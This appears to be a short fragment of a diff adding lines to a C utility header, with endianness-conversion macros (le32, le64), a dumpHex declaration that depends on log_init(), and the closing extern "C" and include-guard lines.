+#define le32(i)         ((((uint32_t)le16((i) & 0xFFFF)) << 16) | ((uint32_t)le16(((i) & 0xFFFF0000) >> 16)))
+#define le64(i) ((((uint64_t)le32((i) & 0xFFFFFFFFLL)) << 32) | ((uint64_t)le32(((i) & 0xFFFFFFFF00000000LL) >> 32)))
+
+//Needs to have log_init() called beforehand.
+void dumpHex(const void* data, size_t size);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif // __UTILS_H_